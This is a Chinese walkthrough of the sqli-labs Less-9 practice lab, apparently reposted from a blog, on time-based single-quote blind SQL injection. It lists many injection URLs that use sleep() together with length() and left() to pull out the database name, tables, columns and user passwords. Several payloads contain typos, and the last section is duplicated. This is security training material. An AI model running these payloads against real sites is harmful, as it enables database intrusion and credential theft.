当前位置: 首页 > news >正文

less-9-基于时间的GET单引号盲注

环境:

目标网站:192.168.99.122:9000/sqli-labs-master/Less-9

攻击环境:浏览器

目标:

获取目标网站数据库的用户名和密码

步骤

1.部署靶场
2.打开浏览器,输入目标网站并输入参数

当id=1时为页面返回正常

image-20211116224309977
当id=-1时页面返回正常

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=-1

image-20211116224341356
'页面返回正常

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'

image-20211116224324106

sleep() --+页面返回异常,页面出现延迟,说明存在SQL注入,结合上方步骤可以判断为基于时间的GET单引号盲注

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1' and sleep(5) --+

image-20211117092206494

用到的函数:

**length:**返回字符串所占的字节数

sleep:时间延迟函数

sleep(1)页面正常无反应,异常则返回1秒延迟

limit(参数1,参数2)
参数1代表:返回第几行,从0开始算
参数2代表:返回几条数据。

left(str,len)

截取字符串,丛左到右截取len个字符

left(hello,1) 则返回结果为h

left(hello,2) 则返回结果为he

注:

此时不能使用group_concat()函数,该函数的意思是所查询的数据合成一条数据,中间使用分割,而limit()只能返回某一行,如果使用group_concat()返回一行数据,则不能判别表的名字。

二分法

二分查找又称折半查找,优点是比较次数少,查找速度快,平均性能好;其缺点是要求待查表为有序表,且插入删除困难。因此,折半查找方法适用于不经常变动而查找频繁的有序列表。首先,假设表中元素是按升序排列,将表中间位置记录的关键字与查找关键字比较,如果两者相等,则查找成功;否则利用中间位置记录将表分成前、后两个子表,如果中间位置记录的关键字大于查找关键字,则进一步查找前一子表,否则进一步查找后一子表。重复以上过程,直到找到满足条件的记录,使查找成功,或直到子表不存在为止,此时查找不成功。

1.通过二分法猜解数据库的长度:

首先我们判断数据库名称的长度是否等于6,结果页面没有延迟,说明数据库名称长度不等于6

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1' and if(length(database())=6,sleep(5),1)--+

image-20211117094026418

判断数据库名称的长度是否大于6,页面出现了延迟,说明数据库名称长度大于6

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1' and if(length(database())>6,sleep(5),1)--+

image-20211117094053210

判断数据库名称的长度是否等于8,页面出现明显延迟,说明数据库名称长度等于8

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1' if(length(database())=8,sleep(5),1)--+

image-20211117094141120

2.根据二分法和left()函数逐个判断数据库的名称

通过left()函数逐个返回字符,同时可以根据小于号大于号缩小范围判断正确的字符

判断第一个字符

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(left(database(),1)='s',sleep(5),1) --+

image-20211117094239824

判断第二个字符

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(left(database(),2)='se',sleep(5),1) --+

image-20211117094512698

判断第三个字符

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1' and if(left(database(),3)='sec',sleep(5),1) --+

image-20211117094610792

直到

 http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(left(database(),8)='security',sleep(5),1)

得到数据库的名称为‘security’

3.猜解‘security’数据库中有多少个表:

猜测有3个表,页面未出现延迟,说明该数据库中表的数量不是3个

 http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(((select count(*) from information_schema.tables where table_schema='security')=3),sleep(5),1) --+

image-20211117095313071

猜测有4个表,页面出现明显延迟,说明该数据库中表的数量为4

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(((select count(*) from information_schema.tables where table_schema='security')=3),sleep(5),1) --+

image-20211117095211894

  1. 猜解每个表名称的长度

    猜测第一个表名的长度

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>8,sleep(5),1) --+

image-20211117095825130

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(5),1) --+

image-20211117095801234

更换limit参数

逐步猜解每个表

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8,sleep(5),1) --+
http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 2,1))=7,sleep(5),1) --+
http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(5),1) --+

6.判断表的名称

猜解第一个表的第一个字符

http://192.168.99.122:9000/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema='security' LIMIT 0,1),1)='e',sleep(5),1) --+

image-20211117100227815

猜解第一个表的第2个字符

http://192.168.99.122:9000/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema='security' LIMIT 0,1),2)='em',sleep(5),1) --+

image-20211117100323300

更换limit()和left()参数

其中

limit(0,1) 第一个表

limit(1,1) 第二个表

最后得到表的名称:emails,refers,uagents,users

7.猜解users表中字段的个数

http://192.168.99.122:9000/Less-9/?id=1' and if(((select count(*) from informaion_shchema.columns where table_name='users')=7),sleep(5),1) --+

image-20211117100919510

http://192.168.99.122:9000/Less-9/?id=1' and ((select count(*) from informaion_shchema.columns where table_name='users')=6) --+

image-20211117100900064

8.猜解users中字段的名称

判断每个字段名称的长度

http://192.168.99.122:9000/Less-9/?id=1' and if(length((select column_name from informaion_shchema.columns where table_name='users' limit 3,1))=2,sleep(5),1) --+

image-20211117102646843

猜解字段的字段的值

http://192.168.99.122:9000/Less-9/?id=1' and if(left((select column_name from informaion_shchema.columns where table_name='users' limit 3,1),1) ='i',sleep(5),1) --+

image-20211117103105329

http://192.168.99.122:9000/Less-9/?id=1' and if(left((select column_name from informaion_shchema.columns where table_name='users' limit 3,1),2) ='id',sleep(5),1) --+

image-20211117103204403

http://192.168.99.122:9000/Less-9/?id=1' and if(left((select column_name from informaion_shchema.columns where table_name='users' limit 4,1),8) ='username',sleep(5),1) --+

image-20211117103419950

逐步猜解

最后得到字段名称USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id ,username,password

9.猜解users表中username字段中的数据的长度

http://192.168.99.122:9000/Less-9/?id=1' and if(length((select username from security.users limit 0,1)) =4,sleep(5),1) --+

image-20211117103657379猜解users表中password字段中的数据的长度

http://192.168.99.122:9000/Less-9/?id=1' and if(length((select password  from security.users limit 0,1)) =4,sleep(5),) --+

image-20211117103747018

10.猜解username和password字段中的数据

http://192.168.99.122:9000/Less-9/?id=1' and if(left((select password  from security.users limit 0,1),1) ='D',sleep(5),1) --+

image-20211117103958593

最后猜解出数据库中的用户名密码


[外链图片转存中...(img-Av2OZo9B-1750215737618)]**10.猜解username和password字段中的数据**

http://192.168.99.122:9000/Less-9/?id=1’ and if(left((select password from security.users limit 0,1),1) =‘D’,sleep(5),1) --+

[外链图片转存中...(img-iyQVxcFF-1750215737618)]

最后猜解出数据库中的用户名密码

相关文章:

  • 客户端软件开发技术选择、填空解析
  • css 制作一个可以旋转的水泵效果
  • 50天50个小项目 (Vue3 + Tailwindcss V4) ✨ | IncrementingCounter(递增计数器)
  • AiPy 监控视频智能监察:人像一键抽取+可反复执行程序落地
  • 本地使用 modelscope 大模型 来进行文本生成视频(Text-to-Video)
  • pythonday50
  • OpenLayers 加载GeoTIFF影像
  • Antv G2入门教程
  • Java常量与数据类型
  • 面向智能制造场景的永磁同步电机预测控制系统设计
  • day036-lsyncd实时同步服务与网站存储架构
  • Day04_C语言基础数据结构重点复习笔记20250618
  • Happy-LLM task2 第一章 NLP 基础概念(2天)
  • 27.自连接
  • 【面试题001】生产环境中如何排查MySQL CPU占用率高达100%?
  • 详细讲解Redis为什么被设计成单线程
  • C与C++中的可变参数
  • 使用@SpringJUnitConfig注解开发遇到的空指针问题
  • 工信部发布《中国工业软件产业发展研究报告(2025)》:PLM垄断加剧,Ai为国产PLM软件发展契机
  • 基于大模型的胆囊结石全周期诊疗方案研究报告
  • 网站建设网页制作教程/网络推广平台有哪些
  • 写一个像wordpress/免费seo工具汇总
  • 网站制作职责/2023b站免费推广入口游戏
  • 网站左侧导航代码/网站建设多少钱
  • 企业做网站的公司/武汉排名seo公司
  • 电子商务网站建设可行性分析/网络营销策划书